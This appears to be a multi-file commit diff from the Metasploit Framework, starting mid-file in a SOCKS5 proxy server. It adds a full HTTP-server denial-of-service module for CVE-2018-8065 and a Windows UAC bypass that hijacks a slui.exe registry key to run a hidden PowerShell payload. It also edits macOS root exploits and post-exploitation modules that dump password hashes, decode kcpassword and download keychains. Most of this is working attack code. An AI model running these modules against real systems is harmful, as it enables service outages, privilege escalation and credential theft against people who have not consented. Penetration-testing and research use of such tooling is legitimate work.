@lsock.put(response.to_binary_s)
wlog("Client.start - #{$!}")
self.stop
end
end
end
def handle_authentication
request = AuthRequestPacket.read(@lsock.get_once)
if @opts['ServerUsername'].nil? && @opts['ServerPassword'].nil?
handle_authentication_none(request)
else
handle_authentication_creds(request)
end
end
def handle_authentication_creds(request)
unless request.supported_methods.include? AUTH_CREDS
raise "Invalid SOCKS5 request packet received (no supported authentication methods)."
end
response = AuthResponsePacket.new
response.chosen_method = AUTH_CREDS
@lsock.put(response.to_binary_s)
version = @lsock.read(1)
raise "Invalid SOCKS5 authentication packet received." unless version.unpack('C').first == 0x01
username_length = @lsock.read(1).unpack('C').first
username = @lsock.read(username_length)
password_length = @lsock.read(1).unpack('C').first
password = @lsock.read(password_length)
# +-----+--------+
# | VER | STATUS |
# +-----+--------+ VERSION: 0x01
# | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE
# +-----+--------+
if username == @opts['ServerUsername'] && password == @opts['ServerPassword']
raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_SUCCESS ].pack ('CC')
ilog("SOCKS5: Successfully authenticated")
@lsock.put(raw)
else
raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_FAILURE ].pack ('CC')
@lsock.put(raw)
raise "Invalid SOCKS5 credentials provided"
end
end
def handle_authentication_none(request)
unless request.supported_methods.include? AUTH_NONE
raise "Invalid SOCKS5 request packet received (no supported authentication methods)."
end
response = AuthResponsePacket.new
response.chosen_method = AUTH_NONE
@lsock.put(response.to_binary_s)
end
def handle_command
request = RequestPacket.read(@lsock.get_once)
response = nil
case request.command
when COMMAND_BIND
response = handle_command_bind(request)
when COMMAND_CONNECT
response = handle_command_connect(request)
when COMMAND_UDP_ASSOCIATE
response = handle_command_udp_associate(request)
end
@lsock.put(response.to_binary_s) unless response.nil?
end
def handle_command_bind(request)
# create a server socket for this request
params = {
'LocalHost' => request.address_type == Address::ADDRESS_TYPE_IPV6 ? '::' : '0.0.0.0',
'LocalPort' => 0,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
bsock = Rex::Socket::TcpServer.create(params)
# send back the bind success to the client
response = ResponsePacket.new
response.command = REPLY_SUCCEEDED
response.address = bsock.getlocalname[HOST]
response.port = bsock.getlocalname[PORT]
@lsock.put(response.to_binary_s)
# accept a client connection (2 minute timeout as per the socks4a spec)
begin
::Timeout.timeout(120) do
@rsock = bsock.accept
end
rescue ::Timeout::Error
raise "Timeout reached on accept request."
end
# close the listening socket
bsock.close
setup_tcp_relay
response = ResponsePacket.new
response.command = REPLY_SUCCEEDED
response.address = @rsock.peerhost
response.port = @rsock.peerport
response
end
def handle_command_connect(request)
# perform the connection request
params = {
'PeerHost' => request.address,
'PeerPort' => request.port,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
@rsock = Rex::Socket::Tcp.create(params)
setup_tcp_relay
response = ResponsePacket.new
response.command = REPLY_SUCCEEDED
response.address = @rsock.getlocalname[HOST]
response.port = @rsock.getlocalname[PORT]
response
end
def handle_command_udp_associate(request)
response = ResponsePacket.new
response.command = REPLY_CMD_NOT_SUPPORTED
response
end
#
# Setup the TcpRelay between lsock and rsock.
#
def setup_tcp_relay
# setup the two way relay for full duplex io
@lsock.extend(TcpRelay)
@rsock.extend(TcpRelay)
# start the socket relays...
@lsock.relay(self, @rsock)
@rsock.relay(self, @lsock)
end
#
# Stop handling the client connection.
#
def stop
@mutex.synchronize do
unless @closed
begin
@lsock.close if @lsock
rescue
end
begin
@rsock.close if @rsock
rescue
end
@client_thread.kill if @client_thread and @client_thread.alive?
@server.remove_client(self)
@closed = true
end
end
end
end
end
end
end
end

View File

@ -289,11 +289,9 @@ module DispatcherShell
def tab_complete_source_address
addresses = [Rex::Socket.source_address]
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
ifaddr.addr &&
ifaddr.addr.ip?
if ::Socket.respond_to?(:getifaddrs)
ifaddrs = ::Socket.getifaddrs.select do |ifaddr|
ifaddr.addr && ifaddr.addr.ip?
end
addresses += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Flexense HTTP Server Denial Of Service',
'Description' => %q{
This module triggers a Denial of Service vulnerability in the Flexense HTTP server.
Vulnerability caused by a user mode write access memory violation and can be triggered with
rapidly sending variety of HTTP requests with long HTTP header values.
Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below vesions reportedly vulnerable.
},
'Author' => [ 'Ege Balci <ege.balci@invictuseurope.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-8065'],
[ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ],
],
'DisclosureDate' => 'Mar 09 2018'))
register_options(
[
Opt::RPORT(80),
OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]),
OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ])
])
end
def check
begin
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
res = sock.get
if res and res.include? 'Flexense HTTP Server v10.6.24'
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue Rex::ConnectionRefused
print_error("Target refused the connection")
Exploit::CheckCode::Unknown
rescue
print_error("Target did not respond to HTTP request")
Exploit::CheckCode::Unknown
end
end
def run
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
size = datastore['PacketSize'].to_i
print_status("Starting with packets of #{size}-byte strings")
count = 0
loop do
payload = ""
payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n"
payload << "Host: 127.0.0.1\r\n"
payload << "Accept: "+('A' * size)+"\r\n"
payload << "\r\n\r\n"
begin
connect
sock.put(payload)
disconnect
count += 1
break if count==datastore['PacketCount']
rescue ::Rex::InvalidDestination
print_error('Invalid destination! Continuing...')
rescue ::Rex::ConnectionTimeout
print_error('Connection timeout! Continuing...')
rescue ::Errno::ECONNRESET
print_error('Connection reset! Continuing...')
rescue ::Rex::ConnectionRefused
print_good("DoS successful after #{count} packets with #{size}-byte headers")
return true
end
end
print_error("DoS failed after #{count} packets of #{size}-byte strings")
end
end

View File

@ -3,8 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Find a way to background this (commenting out join() below causes it to stop immediately)
require 'thread'
require 'rex/proto/proxy/socks5'
@ -13,11 +11,14 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Socks5 Proxy Server',
'Description' => 'This module provides a socks5 proxy server that uses the builtin Metasploit routing to relay connections.',
'Author' => 'sf',
'License' => MSF_LICENSE,
'Actions' =>
'Name' => 'Socks5 Proxy Server',
'Description' => %q{
This module provides a socks5 proxy server that uses the builtin
Metasploit routing to relay connections.
},
'Author' => [ 'sf', 'Spencer McIntyre', 'surefire' ],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Proxy' ]
],
@ -28,27 +29,26 @@ class MetasploitModule < Msf::Auxiliary
'DefaultAction' => 'Proxy'
)
register_options(
[
OptString.new( 'USERNAME', [ false, "Proxy username for SOCKS5 listener" ] ),
OptString.new( 'PASSWORD', [ false, "Proxy password for SOCKS5 listener" ] ),
OptString.new( 'SRVHOST', [ true, "The address to listen on", '127.0.0.1' ] ),
OptPort.new( 'SRVPORT', [ true, "The port to listen on.", 1080 ] )
])
register_options([
OptString.new('USERNAME', [false, 'Proxy username for SOCKS5 listener']),
OptString.new('PASSWORD', [false, 'Proxy password for SOCKS5 listener']),
OptString.new('SRVHOST', [true, 'The address to listen on', '0.0.0.0']),
OptPort.new('SRVPORT', [true, 'The port to listen on', 1080])
])
end
def setup
super
@mutex = ::Mutex.new
@socks5 = nil
@socks_proxy = nil
end
def cleanup
@mutex.synchronize do
if( @socks5 )
print_status( "Stopping the socks5 proxy server" )
@socks5.stop
@socks5 = nil
if @socks_proxy
print_status('Stopping the socks5 proxy server')
@socks_proxy.stop
@socks_proxy = nil
end
end
super
@ -56,19 +56,16 @@ class MetasploitModule < Msf::Auxiliary
def run
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
'ServerUsername' => datastore['USERNAME'],
'ServerPassword' => datastore['PASSWORD'],
'Context' => {'Msf' => framework, 'MsfExploit' => self}
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
@socks_proxy = Rex::Proto::Proxy::Socks5::Server.new(opts)
@socks5 = Rex::Proto::Proxy::Socks5.new( opts )
print_status( "Starting the socks5 proxy server" )
@socks5.start
@socks5.join
print_status('Starting the socks5 proxy server')
@socks_proxy.start
@socks_proxy.join
end
end

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -57,10 +58,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
(ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
@ -81,10 +86,6 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -48,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if ver? && admin?
if ver? && is_admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
return Exploit::CheckCode::Appears
else
@ -57,6 +58,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
print_status("Copying Directory Utility.app to #{new_app}")
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
@ -87,10 +92,6 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

View File

@ -13,12 +13,12 @@ class MetasploitModule < Msf::Exploit::Local
# it at his own risk
Rank = NormalRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
SUDOER_GROUP = "admin"
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
CMD_TIMEOUT = 45
@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
if not user_in_admin_group?
# check that the user is in OSX's admin group, necessary to change sys clock
unless is_admin?
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
return Exploit::CheckCode::Safe
end
@ -122,9 +123,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if not user_in_admin_group?
fail_with(Failure::NotFound, "User is not in the 'admin' group, bailing.")
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless is_admin?
fail_with(Failure::NoAccess, "User is not in the 'admin' group, bailing.")
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")
@ -234,11 +240,6 @@ class MetasploitModule < Msf::Exploit::Local
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
end
# checks that the user is in OSX's admin group, necessary to change sys clock
def user_in_admin_group?
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
end
# helper methods for dealing with sudo's vn num
def parse_vn(vn_str)
vn_str.split(/[\.p]/).map(&:to_i)

View File

@ -0,0 +1,205 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::Powershell
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze
SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
CMD_MAX_LEN = 16383
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
'Description' => %q{
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
the Current User hive, and inserting a custom command that will get invoked when any binary
(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
to file handler hijacking. When we run slui.exe with changed Registry key
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
instead of slui.exe.
The module modifies the registry in order for this exploit to work. The modification is
reverted once the exploitation attempt has finished.
The module does not require the architecture of the payload to match the OS. If
specifying EXE::Custom your DLL should call ExitProcess() after starting the
payload in a different process.
},
'License' => MSF_LICENSE,
'Author' => [
'bytecode-77', # UAC bypass discovery and research
'gushmazuko', # MSF & PowerShell module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x86', { 'Arch' => ARCH_X86 }],
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
]
],
'DisclosureDate' => 'Jan 15 2018'
)
)
end
def check
if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
CheckCode::Appears
else
CheckCode::Safe
end
end
def exploit
# Validate that we can actually do things before we bother
# doing any more work
check_permissions!
commspec = 'powershell'
registry_view = REGISTRY_VIEW_NATIVE
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
# On x64, check arch
commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
if target_arch.first == ARCH_X64
# We can't use absolute path here as
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
psh_path = "powershell.exe"
end
end
if target_arch.first == ARCH_X86
# Invoking x86, so switch to SysWOW64
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
end
else
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
end
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
end
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
payload_value = rand_text_alpha(8)
psh_path = expand_path(psh_path)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
if psh_payload.length > CMD_MAX_LEN
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
end
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
if existing.empty?
registry_createkey(SLUI_WRITE_KEY, registry_view)
end
print_status("Configuring payload and stager registry keys ...")
unless exist_delegate
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
end
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
cmd_path = expand_path(commspec)
cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
print_status("Executing payload: #{cmd_path} #{cmd_args}")
# We can't use cmd_exec here because it blocks, waiting for a result.
client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
# TODO: fix this up to use something smarter than a timeout?
sleep(3)
handler(client)
print_status("Cleaining ...")
unless exist_delegate
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
end
if existing.empty?
registry_deletekey(SLUI_DEL_KEY, registry_view)
else
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
end
registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

View File

@ -74,6 +74,10 @@ class MetasploitModule < Msf::Post
# Save enumerated data
def save(msg, data, ctype="text/plain")
if data.nil? || data.include?('not found') || data.include?('cannot access')
print_bad("Unable to get data for #{msg}")
return
end
ltype = "linux.enum.network"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_good("#{msg} stored in #{loot.to_s}")

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
# extract/verify by by XORing your kcpassword with your password
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
@ -35,7 +36,7 @@ class MetasploitModule < Msf::Post
def run
# ensure the user is root (or can read the kcpassword)
unless user == 'root'
unless is_root?
fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
end

View File

@ -7,6 +7,7 @@ require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Auxiliary::Report
def initialize(info={})
@ -33,8 +34,7 @@ class MetasploitModule < Msf::Post
host = cmd_exec("hostname")
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
if is_root?
print_status("This session is running as root!")
end
@ -102,12 +102,6 @@ class MetasploitModule < Msf::Post
return logs
end
# Checks if running as root on the target
def check_root
# Get only the account ID
cmd_exec("/usr/bin/id", "-ru") == "0"
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
@ -204,7 +198,7 @@ class MetasploitModule < Msf::Post
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if not check_root
if not is_root?
# Enumerate the home folder content
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
@ -285,7 +279,7 @@ class MetasploitModule < Msf::Post
if ver_num =~ /10\.(7|6|5)/
print_status("Capturing screenshot")
picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
if check_root
if is_root?
print_status("Capturing screenshot for each loginwindow process since privilege is root")
if session.type =~ /shell/
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
@ -373,7 +367,7 @@ class MetasploitModule < Msf::Post
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
if check_root
if is_root?
users.each do |u|
print_status("Enumerating and Downloading keychains for #{u}")
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")

View File

@ -11,6 +11,7 @@ class MetasploitModule < Msf::Post
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Auxiliary::Report
def initialize(info={})
@ -38,7 +39,9 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
fail_with(Failure::BadConfig, "Insufficient Privileges: must be running as root to dump the hashes") unless root?
unless is_root?
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
end
# iterate over all users
users.each do |user|
@ -189,12 +192,6 @@ class MetasploitModule < Msf::Post
print_status("Credential saved in database.")
end
# Checks if running as root on the target
# @return [Bool] current user is root
def root?
whoami == 'root'
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
@ -213,9 +210,4 @@ class MetasploitModule < Msf::Post
def ver_num
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
end
# @return [String] name of current user
def whoami
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
end
end

View File

@ -43,7 +43,7 @@ RSpec.describe Rex::Proto::Http::Client do
end
it "should respond to intialize" do
it "should respond to initialize" do
expect(cli).to be
end

View File

@ -0,0 +1,92 @@
# -*- coding:binary -*-
require 'rex/proto/proxy/socks5/packet'
RSpec.describe Rex::Proto::Proxy::Socks5::Packet do
Socks5 = Rex::Proto::Proxy::Socks5
describe "#address" do
it "should parse an IPv4 address" do
packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00")
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
expect(packet.address).to eq('127.0.0.1')
end
it "should parse an IPv6 address" do
packet = Socks5::Packet.read("\x05\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00")
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6)
expect(packet.address).to eq('::1')
end
it "should parse a domain name" do
packet = Socks5::Packet.read("\x05\x02\x00\x03\x12www.metasploit.com\x00\x00")
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME)
expect(packet.address).to eq('www.metasploit.com')
end
end
describe "#address=" do
it "should set an IPv4 address" do
packet = Socks5::Packet.new
packet.address = '127.0.0.1'
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
expect(packet.address_array).to eq([0x7f, 0x00, 0x00, 0x01])
end
it "should set an IPv6 address" do
packet = Socks5::Packet.new
packet.address = '::1'
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6)
expect(packet.address_array).to eq([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01])
end
it "should set a domain name" do
packet = Socks5::Packet.new
packet.address = 'www.metasploit.com'
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME)
expect(packet.address_array).to eq([0x77, 0x77, 0x77, 0x2e, 0x6d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x2e, 0x63, 0x6f, 0x6d])
end
end
describe "#command" do
it "should parse a connect command" do
packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x00")
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT)
end
it "should parse a bind command" do
packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00")
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_BIND)
end
it "should parse a UDP associate command" do
packet = Socks5::Packet.read("\x05\x03\x00\x01\x7f\x00\x00\x01\x00\x00")
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_UDP_ASSOCIATE)
end
end
describe "#read" do
it "should parse all fields" do
packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x50")
expect(packet.version).to eq(Socks5::SOCKS_VERSION)
expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT)
expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4)
expect(packet.address).to eq('127.0.0.1')
expect(packet.port).to eq(80)
end
end
describe "#to_binary_s" do
it "should pack the data to a binary string" do
packet = Socks5::Packet.new
expect(packet.to_binary_s).to eq("\x05\x00\x00\x00\x00\x00")
end
end
describe "#version" do
it "should have the SOCKS5 version set by default" do
packet = Socks5::Packet.new
packet.version = Socks5::SOCKS_VERSION
end
end
end

View File

@ -0,0 +1,17 @@
# -*- coding:binary -*-
require 'rex/proto/proxy/socks5'
RSpec.describe Rex::Proto::Proxy::Socks5::Server do
subject(:server) do
Rex::Proto::Proxy::Socks5::Server.new
end
describe "#is_running?" do
it "should respond to #is_running?" do
expect(server.is_running?).to eq(false)
end
end
end